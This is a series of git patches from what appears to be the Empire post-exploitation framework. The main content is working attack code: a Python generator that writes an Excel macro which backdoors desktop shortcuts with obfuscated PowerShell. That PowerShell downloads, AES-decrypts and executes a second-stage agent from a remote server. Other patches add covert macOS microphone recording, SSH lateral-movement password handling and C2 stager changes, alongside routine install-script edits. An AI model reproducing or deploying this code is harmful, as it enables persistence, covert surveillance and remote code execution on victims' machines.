".SPecialFolders(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value) & \"\\\" & " + fileVar + ".name)\n" + inputCol = inputCol + random.randint(1,4) + + macro += "If(" + for i, item in enumerate(targetEXE): + if i: + macro += (' or ') + activeSheet.write(inputRow,inputCol,targetEXE[i].strip().lower()+".") + macro += "InStr(Lcase(" + lnkVar + ".targetPath), activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)" + inputCol = inputCol + random.randint(1,4) + macro += ") Then\n" + #launchString contains the code that will get insterted into the backdoored .lnk files, it will first launch the original target exe, then clean up all backdoors on the desktop. After cleanup is completed it will check the current date, if it is prior to the killdate the second stage will then be downloaded from the webserver selected during macro generation, and then decrypted using the key and iv created during this same process. This code is then executed to gain a full agent on the remote system. + launchString1 = "hidden -nop -c \"Start(\'" + launchString2 = ");$u=New-Object -comObject wscript.shell;gci -Pa $env:USERPROFILE\desktop -Fi *.lnk|%{$l=$u.createShortcut($_.FullName);if($l.arguments-like\'*xml.xmldocument*\'){$s=$l.arguments.IndexOf(\'\'\'\')+1;$r=$l.arguments.Substring($s, $l.arguments.IndexOf(\'\'\'\',$s)-$s);$l.targetPath=$r;$l.Arguments=\'\';$l.Save()}};$b=New-Object System.Xml.XmlDocument;if([int](get-date -U " + launchString3 = ") -le " + str(killDate[2]) + str(killDate[0]) + str(killDate[1]) + "){$b.Load(\'" + launchString4 = "\');$a=New-Object 'Security.Cryptography.AesManaged';$a.IV=(" + str(encIV) + ".." + str(encIV + 15) + ");$a.key=[text.encoding]::UTF8.getBytes('" + launchString5 = "');$by=[System.Convert]::FromBase64String($b.main);[Text.Encoding]::UTF8.GetString($a.CreateDecryptor().TransformFinalBlock($by,0,$by.Length)).substring(16)|iex}\"" + + #part of the macro that actually modifies the LNK files on the desktop, sets icon location for updated lnk to the old targetpath, args to our launch code, and target to powershell so we can do a direct call to it + macro += lnkVar + ".IconLocation = " + lnkVar + ".targetpath\n" + launchString1 = helpers.randomize_capitalization(launchString1) + launchString2 = helpers.randomize_capitalization(launchString2) + launchString3 = helpers.randomize_capitalization(launchString3) + launchString4 = helpers.randomize_capitalization(launchString4) + launchString5 = helpers.randomize_capitalization(launchString5) + launchStringSum = launchString2 + "'%Y%m%d'" + launchString3 + XmlPath + launchString4 + encKey + launchString5 + + activeSheet.write(inputRow,inputCol,launchString1) + launch1Coords = self.coordsToCell(inputRow,inputCol) + inputCol = inputCol + random.randint(1,4) + activeSheet.write(inputRow,inputCol,launchStringSum) + launchSumCoords = self.coordsToCell(inputRow,inputCol) + inputCol = inputCol + random.randint(1,4) + + macro += lnkVar + ".arguments = \"-w \" & activeSheet.Range(\""+ launch1Coords +"\").Value & " + lnkVar + ".targetPath" + " & \"'\" & activeSheet.Range(\""+ launchSumCoords +"\").Value" + "\n" + + activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization(":\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe")) + macro += lnkVar + ".targetpath = left(CurDir, InStr(CurDir, \":\")-1) & activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value\n" + inputCol = inputCol + random.randint(1,4) + #macro will not write backdoored lnk file if resulting args will be > 1024 length (max arg length) - this is to avoid an incomplete statement that results in a powershell error on run, which causes no execution of any programs and no cleanup of backdoors + macro += "if(Len(" + lnkVar + ".arguments) < 1023) Then\n" + macro += lnkVar + ".save\n" + macro += "end if\n" + macro += "end if\n" + macro += "end if\n" + macro += "next " + fileVar + "\n" + macro += "End Sub\n" + activeSheet.row(inputRow).hidden = True + print helpers.color("\nWriting xls...\n", color="blue") + workBook.save(xlsOut) + print helpers.color("xls written to " + xlsOut + " please remember to add macro code to xls prior to use\n\n", color="green") + + + #encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut + ivBuf = "" + for z in range(0,16): + ivBuf = ivBuf + chr(encIV + z) + encryptor = AES.new(unicode(encKey, "utf-8"), AES.MODE_CBC, ivBuf) + launcher = unicode(launcher,"utf-8") + #pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space + padding = 16-(len(launcher) % 16) + if padding == 0: + launcher = launcher + ('\x00'*16) + else: + launcher = launcher + (chr(padding)*padding) + + cipher_text = encryptor.encrypt(launcher) + cipher_text = helpers.encode_base64(ivBuf+cipher_text) + + #write XML to disk + print helpers.color("Writing xml...\n", color="blue") + fileWrite = open(XmlOut,"w") + fileWrite.write("\n") + fileWrite.write("
") + fileWrite.write(cipher_text) + fileWrite.write("
\n") + fileWrite.close() + print helpers.color("xml written to " + XmlOut + " please remember this file must be accessible by the target at this url: " + XmlPath + "\n", color="green") + + return macro diff --git a/setup/install.sh b/setup/install.sh index c029107dd..13b1519fd 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -34,6 +34,7 @@ if lsb_release -d | grep -q "Fedora"; then pip install pyinstaller pip install zlib_wrapper pip install netifaces + pip install xlutils elif lsb_release -d | grep -q "Kali"; then Release=Kali if ! grep "deb http://security.debian.org/debian-security wheezy/updates main" /etc/apt/sources.list; then @@ -53,6 +54,7 @@ elif lsb_release -d | grep -q "Kali"; then pip install pyinstaller pip install zlib_wrapper pip install netifaces + pip install xlutils if [ ! which powershell > /dev/null ] && [ ! which pwsh > /dev/null ]; then curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add - curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list @@ -80,6 +82,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then pip install pyinstaller pip install zlib_wrapper pip install netifaces + pip install xlutils if [ ! which powershell > /dev/null ] && [ ! which pwsh > /dev/null ]; then curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add - if lsb_release -r | grep -q "14.04"; then @@ -112,6 +115,7 @@ else pip install zlib_wrapper pip install netifaces pip install M2Crypto + pip install xlutils if [ ! which powershell > /dev/null ] && [ ! which pwsh > /dev/null ]; then curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add - curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list From d4baf1448f680ab54f1183139ffb6f3e54aa1ac6 Mon Sep 17 00:00:00 2001 From: G0ldenGun Date: Sat, 23 Dec 2017 23:33:07 -0600 Subject: [PATCH 006/136] updated install.sh fixed conflicts --- setup/install.sh | 274 ++++++++++++++++++++++++++--------------------- 1 file changed, 153 insertions(+), 121 deletions(-) diff --git a/setup/install.sh b/setup/install.sh index 13b1519fd..1028814e9 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -1,9 +1,106 @@ #!/bin/bash -if [[ $EUID -ne 0 ]]; then - echo " [!]This script must be run as root" 1>&2 - exit 1 -fi + +# functions + +# Install Powershell on Linux +function install_powershell() { + if uname | grep -q "Darwin"; then + brew install openssl + brew install curl --with-openssl + brew tap caskroom/cask + brew cask install powershell + else + # Deb 9.x + if cat /etc/debian_version | grep 9.* ; then + # Install system components + sudo apt-get update + sudo apt-get install -y apt-transport-https curl + # Import the public repository GPG keys + curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add - + # Register the Microsoft Product feed + sudo sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-jessie-prod jessie main" > /etc/apt/sources.list.d/microsoft.list' + # Update the list of products + sudo apt-get update + # Install PowerShell + sudo apt-get install -y powershell + fi + # Deb 8.x + if cat /etc/debian_version | grep 8.* ; then + # Install system components + sudo apt-get update + sudo apt-get install -y apt-transport-https curl gnupg + # Import the public repository GPG keys + curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add - + # Register the Microsoft Product feed + sudo sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/microsoft.list' + # Update the list of products + sudo apt-get update + # Install PowerShell + sudo apt-get install -y powershell + fi + #Ubuntu 14.x + if cat /etc/lsb-release | grep 'DISTRIB_RELEASE=14'; then + # Install system components + sudo apt-get update + sudo apt-get install -y apt-transport-https curl + # Import the public repository GPG keys + curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add - + # Register the Microsoft Ubuntu repository + curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list + # Update the list of products + sudo apt-get update + # Install PowerShell + sudo apt-get install -y powershell + fi + #Ubuntu 16.x + if cat /etc/lsb-release | grep 'DISTRIB_RELEASE=16'; then + # Install system components + sudo apt-get update + sudo apt-get install -y apt-transport-https curl + # Import the public repository GPG keys + curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add - + # Register the Microsoft Ubuntu repository + curl https://packages.microsoft.com/config/ubuntu/16.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list + # Update the list of products + sudo apt-get update + # Install PowerShell + sudo apt-get install -y powershell + fi + #Ubuntu 17.x + if cat /etc/lsb-release | grep 'DISTRIB_RELEASE=17'; then + # Install system components + sudo apt-get update + sudo apt-get install -y apt-transport-https curl + # Import the public repository GPG keys + curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add - + # Register the Microsoft Ubuntu repository + curl https://packages.microsoft.com/config/ubuntu/17.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list + # Update the list of products + sudo apt-get update + # Install PowerShell + sudo apt-get install -y powershell + fi + #Kali Linux + if cat /etc/lsb-release | grep -i 'Kali'; then + # Install prerequisites + apt-get install libunwind8 libicu55 + wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb + dpkg -i libssl1.0.0_1.0.1t-1+deb8u6_amd64.deb + # Install PowerShell + dpkg -i powershell_6.0.0-rc.2-1.ubuntu.16.04_amd64.deb + fi + fi + if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then + rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY + fi + mkdir -p /usr/local/share/powershell/Modules + cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules +} + + +# Ask for the administrator password upfront so sudo is no longer required at Installation. +sudo -v IFS='/' read -a array <<< pwd @@ -12,130 +109,65 @@ then cd ./setup fi -if [[ ! -f get-pip.py ]] -then - wget https://bootstrap.pypa.io/get-pip.py - python get-pip.py +# Check for PIP otherwise install it +if ! which pip > /dev/null; then + wget https://bootstrap.pypa.io/get-pip.py + python get-pip.py fi -version=$( lsb_release -r | grep -oP "[0-9]+" | head -1 ) -if lsb_release -d | grep -q "Fedora"; then - Release=Fedora - dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl1.0.0 libssl-dev - pip install --upgrade urllib3 - pip install setuptools - pip install pycrypto - pip install iptools - pip install pydispatcher - pip install flask - pip install macholib - pip install dropbox - pip install pyopenssl - pip install pyinstaller - pip install zlib_wrapper - pip install netifaces - pip install xlutils -elif lsb_release -d | grep -q "Kali"; then - Release=Kali - if ! grep "deb http://security.debian.org/debian-security wheezy/updates main" /etc/apt/sources.list; then - echo "deb http://security.debian.org/debian-security wheezy/updates main" >> /etc/apt/sources.list - fi - apt-get update - apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0.0 libssl-dev - pip install --upgrade urllib3 - pip install setuptools - pip install pycrypto - pip install iptools - pip install pydispatcher - pip install flask - pip install macholib - pip install dropbox - pip install pyopenssl - pip install pyinstaller - pip install zlib_wrapper - pip install netifaces - pip install xlutils - if [ ! which powershell > /dev/null ] && [ ! which pwsh > /dev/null ]; then - curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add - - curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list - apt-get update - fi - apt-get install -y powershell - if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then - rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY - fi - mkdir -p /usr/local/share/powershell/Modules - cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules -elif lsb_release -d | grep -q "Ubuntu"; then - Release=Ubuntu - apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0.0 libssl-dev - pip install --upgrade urllib3 - pip install setuptools - pip install pycrypto - pip install iptools - pip install pydispatcher - pip install flask - pip install pyOpenSSL - pip install macholib - pip install dropbox - pip install pyopenssl - pip install pyinstaller - pip install zlib_wrapper - pip install netifaces - pip install xlutils - if [ ! which powershell > /dev/null ] && [ ! which pwsh > /dev/null ]; then - curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add - - if lsb_release -r | grep -q "14.04"; then - curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list - elif lsb_release -r | grep -q "16.04"; then - curl https://packages.microsoft.com/config/ubuntu/16.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list - fi - apt-get update - fi - apt-get install -y powershell - if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then - rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY - fi - mkdir -p /usr/local/share/powershell/Modules - cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules +if uname | grep -q "Darwin"; then + install_powershell + sudo pip install -r requirements.txt --global-option=build_ext \ + --global-option="-L/usr/local/opt/openssl/lib" \ + --global-option="-I/usr/local/opt/openssl/include" + # In order to build dependencies these should be exproted. + export LDFLAGS=-L/usr/local/opt/openssl/lib + export CPPFLAGS=-I/usr/local/opt/openssl/include else - echo "Unknown distro - Debian/Ubuntu Fallback" - apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl1.0.0 libssl-dev - pip install --upgrade urllib3 - pip install setuptools - pip install pycrypto - pip install iptools - pip install pydispatcher - pip install flask - pip install macholib - pip install dropbox - pip install cryptography - pip install pyOpenSSL - pip install pyopenssl - pip install zlib_wrapper - pip install netifaces - pip install M2Crypto - pip install xlutils - if [ ! which powershell > /dev/null ] && [ ! which pwsh > /dev/null ]; then - curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add - - curl https://packages.microsoft.com/config/ubuntu/14.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.list - apt-get update - fi - apt-get install -y powershell - if ls /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY; then - rm /opt/microsoft/powershell/*/DELETE_ME_TO_DISABLE_CONSOLEHOST_TELEMETRY - fi - mkdir -p /usr/local/share/powershell/Modules - cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules + + version=$( lsb_release -r | grep -oP "[0-9]+" | head -1 ) + if lsb_release -d | grep -q "Fedora"; then + Release=Fedora + sudo dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl1.0.0 libssl-dev build-essential + pip install --upgrade pip + sudo pip install -r requirements.txt + elif lsb_release -d | grep -q "Kali"; then + Release=Kali + sudo apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0.0 libssl-dev build-essential + pip install --upgrade pip + sudo pip install -r requirements.txt + install_powershell + elif lsb_release -d | grep -q "Ubuntu"; then + Release=Ubuntu + sudo apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0.0 libssl-dev build-essential + pip install --upgrade pip + sudo pip install -r requirements.txt + install_powershell + else + echo "Unknown distro - Debian/Ubuntu Fallback" + sudo apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl1.0.0 libssl-dev build-essential + pip install --upgrade pip + sudo pip install -r requirements.txt + install_powershell + fi fi + +# Installing xar tar -xvf ../data/misc/xar-1.5.2.tar.gz (cd xar-1.5.2 && ./configure) (cd xar-1.5.2 && make) -(cd xar-1.5.2 && make install) -git clone https://github.com/hogliux/bomutils.git -(cd bomutils && make) -(cd bomutils && make install) -chmod 755 bomutils/build/bin/mkbom && cp bomutils/build/bin/mkbom /usr/local/bin/mkbom +(cd xar-1.5.2 && sudo make install) + +# Installing bomutils into non-empty dir +(cd bomutils && git init . && git remote add -t \* -f origin https://github.com/hogliux/bomutils.git && git checkout master) +# Normal install: git clone https://github.com/hogliux/bomutils.git + +# NIT: This fails on OSX. Leaving it only on Linux instances. +if uname | grep -q "Linux"; then + (cd bomutils && make install) +fi +chmod 755 bomutils/build/bin/mkbom && sudo cp bomutils/build/bin/mkbom /usr/local/bin/. + # set up the database schema ./setup_database.py From 46a4e1b99fc1d6e70efc43ddcee9a3b194b8ad08 Mon Sep 17 00:00:00 2001 From: G0ldenGunSec <28241763+G0ldenGunSec@users.noreply.github.com> Date: Sat, 23 Dec 2017 23:43:48 -0600 Subject: [PATCH 007/136] requirements.txt updated updated to include xlutils --- setup/requirements.txt | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 setup/requirements.txt diff --git a/setup/requirements.txt b/setup/requirements.txt new file mode 100644 index 000000000..171c28eb6 --- /dev/null +++ b/setup/requirements.txt @@ -0,0 +1,15 @@ +urllib3 +setuptools +iptools +pydispatcher +flask +macholib +dropbox +pyOpenSSL==17.2.0 +pyinstaller +zlib_wrapper +netifaces +M2Crypto +jinja2 +cryptography +xlutils From 10e3370f263396383b25442b05f96d4d03fd184f Mon Sep 17 00:00:00 2001 From: Gabriel Ryan Date: Sun, 31 Dec 2017 15:55:46 -0600 Subject: [PATCH 008/136] Module Added: osx_mic_record (resolves #865) Adds a module that records audio through the MacOS webcam mic. Audio is recorded using a custom binary that interacts directly with the Apple AVFoundation API (source: https://github.com/s0lst1c3/osx_mic_record). Resolves #865. --- data/misc/osx_mic_record_bin | Bin 0 -> 19136 bytes .../python/collection/osx/osx_mic_record.py | 140 ++++++++++++++++++ 2 files changed, 140 insertions(+) create mode 100755 data/misc/osx_mic_record_bin create mode 100644 lib/modules/python/collection/osx/osx_mic_record.py diff --git a/data/misc/osx_mic_record_bin b/data/misc/osx_mic_record_bin new file mode 100755 index 0000000000000000000000000000000000000000..03aaa9b386d9476fefd564bfe9712254064f4118 GIT binary patch literal 19136 zcmeHNdu$xV86U@_q#jUSw0<2XLsxKOgJ@Al$_yIps8 z4`Nix(GZ%`5$Qx^8dEFvD=x?6q3{+9l>bd;Igukmr9pe4|Xq^73L7b%gff5|=xbT+~ z{)qSc6XG%vaiV9`tr|^j(BB8bAGRKzh(Fi73V*hiwzL$MZ_wW<;cut#N4&p(mMxi0q>EVw2uR$*RXK#b6sf-Qdqn)lvYQiY>Q7Czuq277H zdTtk+Hu!5&y)ooUdo(JvclPl}!{;866!ly1-nrwdYKPXWW!l0HL9Dwkv2~eky!FNJ09(==g612p<}I!nIzr+%$n|#a`hdLa-r|bM z-u(HPh(oZUmh!Kon@7<{j1EqE3)hz#_P}Lt{ve;HS2yl>+i69GpYsaul^PsAnTMyE zT&J;J>pp~J#bhjhd}uHZ}aDO_%ny6yle4h5Gh`2lt7F0o4`)KTPl^t z=vC$98&sknz>~+QG(x2#RKoWOJNYb1pk2#v7_#vK*B)t#n)Ws&qbC$gOPE$NvewZv zT0}P@Hh3dxuaB%Xv(9+diKO(jww^WGOtUQ0YL7H_uv@Du-_{-(;9l@q5=oeu@wDb> zSI%Yb`{&KNGuC5T8P#d`Nrnb{*2MXTOgl@O+0nE%tfsRXGqRac&7wNJ1}aq8p0r6G zl6r#P2=J;vHk(H8&=QU<8OfWp3A>%C>9m<()Z?K6nGE_>XRMv+hVBptVY{t44*F@g zyTf6qpr-YEv}BiNCoFxOyt8pj8&@rD&~(Sebh|u2<^sm>W}=bLLEwh2YSvw9I<6ZD zton=(r7|0s3X^t~1YYZ8Vp6)^of&e1-{p|`+N`8vDIq7d&n zHTWH-pkeIgk=bs6bN}1pl=!ZVi0{2wg3c545<$IIj))H{?|bt)Pa&wMAM^a3MSrKz zfB7u>tk5s>={r#NzDs{6^alk!D(DG8KM?dH@!h#l&_+QeL5BrR32F&CA?S|pQy0SR-!fBg2?(j1(3u;PLaxDLj{I;Hqr4L3ajlRzenB?2cels&h;=3@vS!6>*i$ntZlZL&uRRwdbDPpewmk zvx*JV5TH{TmYXvjny&Im6U+U@-_NQ>`r_U(PcAau2M(O7u)=tXXgqGZO3~Ghp9t{Z3-CV-@OuLM zA(t<=M<>TPisE;3v;ojvFf~pF1TuB}Vr04lrYX7v8L4BYdZd_XmMbeWxPU7f-2LUSFdhs zZq-($R<$*+YSY@`>vul)=^r2dhj#4y zm&tqT_x62j=jrDr9(`cRUZeTYZ+`Vb>WUXT<)%*$%kN(E@q!0`x$T*I_uTjR{`_Wp z|BEl|Sl|Ebo+qB)^4iDu_X7(8fv*4A>EjnrnXb#j6e18J5F!vF5F!vF5F!vF5F!vF z5F!vF5F!vF5F!vF5F!vF5F!vF5F!vF5F!vF5F!vF5F!vF5F!vF5F!vF5F+q}MBu-? Cn Date: Mon, 1 Jan 2018 16:19:24 -0700 Subject: [PATCH 009/136] add CORS * header to all REST api responses --- empire | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/empire b/empire index deb934929..6b719e2db 100755 --- a/empire +++ b/empire @@ -223,6 +223,11 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None, if (token != apiToken) and (token != permanentApiToken): return make_response('', 401) + @app.after_request + def add_cors(response): + response.headers['Access-Control-Allow-Origin'] = '*' + return response + @app.errorhandler(Exception) def exception_handler(error): From 94f371fbc2729868deef5426de9d6d471c27351c Mon Sep 17 00:00:00 2001 From: Gabriel Ryan Date: Thu, 4 Jan 2018 06:34:12 -0600 Subject: [PATCH 010/136] Module now uses pyobjc script instead of stand-alone binary for microphone capture. --- data/misc/osx_mic_record_bin | Bin 19136 -> 0 bytes .../python/collection/osx/osx_mic_record.py | 105 +++++++++++------- 2 files changed, 62 insertions(+), 43 deletions(-) delete mode 100755 data/misc/osx_mic_record_bin diff --git a/data/misc/osx_mic_record_bin b/data/misc/osx_mic_record_bin deleted file mode 100755 index 03aaa9b386d9476fefd564bfe9712254064f4118..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 19136 zcmeHNdu$xV86U@_q#jUSw0<2XLsxKOgJ@Al$_yIps8 z4`Nix(GZ%`5$Qx^8dEFvD=x?6q3{+9l>bd;Igukmr9pe4|Xq^73L7b%gff5|=xbT+~ z{)qSc6XG%vaiV9`tr|^j(BB8bAGRKzh(Fi73V*hiwzL$MZ_wW<;cut#N4&p(mMxi0q>EVw2uR$*RXK#b6sf-Qdqn)lvYQiY>Q7Czuq277H zdTtk+Hu!5&y)ooUdo(JvclPl}!{;866!ly1-nrwdYKPXWW!l0HL9Dwkv2~eky!FNJ09(==g612p<}I!nIzr+%$n|#a`hdLa-r|bM z-u(HPh(oZUmh!Kon@7<{j1EqE3)hz#_P}Lt{ve;HS2yl>+i69GpYsaul^PsAnTMyE zT&J;J>pp~J#bhjhd}uHZ}aDO_%ny6yle4h5Gh`2lt7F0o4`)KTPl^t z=vC$98&sknz>~+QG(x2#RKoWOJNYb1pk2#v7_#vK*B)t#n)Ws&qbC$gOPE$NvewZv zT0}P@Hh3dxuaB%Xv(9+diKO(jww^WGOtUQ0YL7H_uv@Du-_{-(;9l@q5=oeu@wDb> zSI%Yb`{&KNGuC5T8P#d`Nrnb{*2MXTOgl@O+0nE%tfsRXGqRac&7wNJ1}aq8p0r6G zl6r#P2=J;vHk(H8&=QU<8OfWp3A>%C>9m<()Z?K6nGE_>XRMv+hVBptVY{t44*F@g zyTf6qpr-YEv}BiNCoFxOyt8pj8&@rD&~(Sebh|u2<^sm>W}=bLLEwh2YSvw9I<6ZD zton=(r7|0s3X^t~1YYZ8Vp6)^of&e1-{p|`+N`8vDIq7d&n zHTWH-pkeIgk=bs6bN}1pl=!ZVi0{2wg3c545<$IIj))H{?|bt)Pa&wMAM^a3MSrKz zfB7u>tk5s>={r#NzDs{6^alk!D(DG8KM?dH@!h#l&_+QeL5BrR32F&CA?S|pQy0SR-!fBg2?(j1(3u;PLaxDLj{I;Hqr4L3ajlRzenB?2cels&h;=3@vS!6>*i$ntZlZL&uRRwdbDPpewmk zvx*JV5TH{TmYXvjny&Im6U+U@-_NQ>`r_U(PcAau2M(O7u)=tXXgqGZO3~Ghp9t{Z3-CV-@OuLM zA(t<=M<>TPisE;3v;ojvFf~pF1TuB}Vr04lrYX7v8L4BYdZd_XmMbeWxPU7f-2LUSFdhs zZq-($R<$*+YSY@`>vul)=^r2dhj#4y zm&tqT_x62j=jrDr9(`cRUZeTYZ+`Vb>WUXT<)%*$%kN(E@q!0`x$T*I_uTjR{`_Wp z|BEl|Sl|Ebo+qB)^4iDu_X7(8fv*4A>EjnrnXb#j6e18J5F!vF5F!vF5F!vF5F!vF z5F!vF5F!vF5F!vF5F!vF5F!vF5F!vF5F!vF5F!vF5F!vF5F!vF5F!vF5F+q}MBu-? Cn Date: Thu, 4 Jan 2018 16:13:51 +0100 Subject: [PATCH 011/136] More robust password prompt handler Some SSH clients used a more verbose password prompt: "Password for user@pfSense.domain.local:". This patch makes the parent process wait for any string starting with "Password" and ending with ":" --- lib/modules/python/lateral_movement/multi/ssh_command.py | 2 +- lib/modules/python/lateral_movement/multi/ssh_launcher.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/modules/python/lateral_movement/multi/ssh_command.py b/lib/modules/python/lateral_movement/multi/ssh_command.py index 39ec4d2bb..78b07196f 100644 --- a/lib/modules/python/lateral_movement/multi/ssh_command.py +++ b/lib/modules/python/lateral_movement/multi/ssh_command.py @@ -107,7 +107,7 @@ def wall(host, pw): while True: try: data = os.read(fd, 1024) - if data == "Password:": + if data[:8] == "Password" and data[-1:] == ":": os.write(fd, pw + '\\n') except OSError: diff --git a/lib/modules/python/lateral_movement/multi/ssh_launcher.py b/lib/modules/python/lateral_movement/multi/ssh_launcher.py index 512c15365..f3d4ecc26 100644 --- a/lib/modules/python/lateral_movement/multi/ssh_launcher.py +++ b/lib/modules/python/lateral_movement/multi/ssh_launcher.py @@ -121,7 +121,7 @@ def wall(host, pw): while True: try: data = os.read(fd, 1024) - if data == "Password:": + if data[:8] == "Password" and data[-1:] == ":": os.write(fd, pw + '\\n') except OSError: From d7c9d43d227beeb0d7c2e5cba818ecf6a0cb47e5 Mon Sep 17 00:00:00 2001 From: Dakota Nelson Date: Fri, 5 Jan 2018 14:12:51 -0700 Subject: [PATCH 012/136] Include Docker and non-docker paths in template search, fix #904 --- lib/listeners/dbx.py | 4 +++- lib/listeners/http.py | 8 +++++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/lib/listeners/dbx.py b/lib/listeners/dbx.py index 0252ff009..d9be38ae6 100755 --- a/lib/listeners/dbx.py +++ b/lib/listeners/dbx.py @@ -431,7 +431,9 @@ def generate_stager(self, listenerOptions, encode=False, encrypt=True, language= elif language.lower() == 'python': - template_path = os.path.join(self.mainMenu.installPath, '/data/agent/stagers') + template_path = [ + os.path.join(self.mainMenu.installPath, '/data/agent/stagers'), + os.path.join(self.mainMenu.installPath, './data/agent/stagers')] eng = templating.TemplateEngine(template_path) template = eng.get_template('dropbox.py') diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 720b7d0ba..dc21262e8 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -591,7 +591,9 @@ def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate return randomizedStager elif language.lower() == 'python': - template_path = os.path.join(self.mainMenu.installPath, 'data/agent/stagers') + template_path = [ + os.path.join(self.mainMenu.installPath, '/data/agent/stagers'), + os.path.join(self.mainMenu.installPath, './data/agent/stagers')] eng = templating.TemplateEngine(template_path) template = eng.get_template('http.py') @@ -898,7 +900,7 @@ def send_stager(stager): return launcher else: return make_response(self.default_response(), 404) - + @app.before_request def check_ip(): """ @@ -930,7 +932,7 @@ def serve_index(): """ Return default server web page if user navigates to index. """ - + static_dir = self.mainMenu.installPath + "data/misc/" return make_response(self.index_page(), 200) From 887e61024e1c5b2ef5be6020a16366c35ecd4780 Mon Sep 17 00:00:00 2001 From: xorrior Date: Sat, 6 Jan 2018 09:23:05 -0500 Subject: [PATCH 013/136] Fix python launcher generation --- lib/listeners/http.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 720b7d0ba..9f2f201f0 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -459,7 +459,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: - proto = proxy.Split(':')[0] + proto = proxy.split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'"+proto+"':'"+proxy+"'});\n" if proxyCreds != "none": From 9a3df6d8c51e978753e7be8529a29f26af6ad68b Mon Sep 17 00:00:00 2001 From: xorrior Date: Sat, 6 Jan 2018 16:41:26 -0500 Subject: [PATCH 014/136] Patch for #907 --- lib/common/empire.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/common/empire.py b/lib/common/empire.py index 3a49fbbdf..4882b8ca0 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -3006,10 +3006,12 @@ def do_launcher(self, line): if listenerName: try: # set the listener 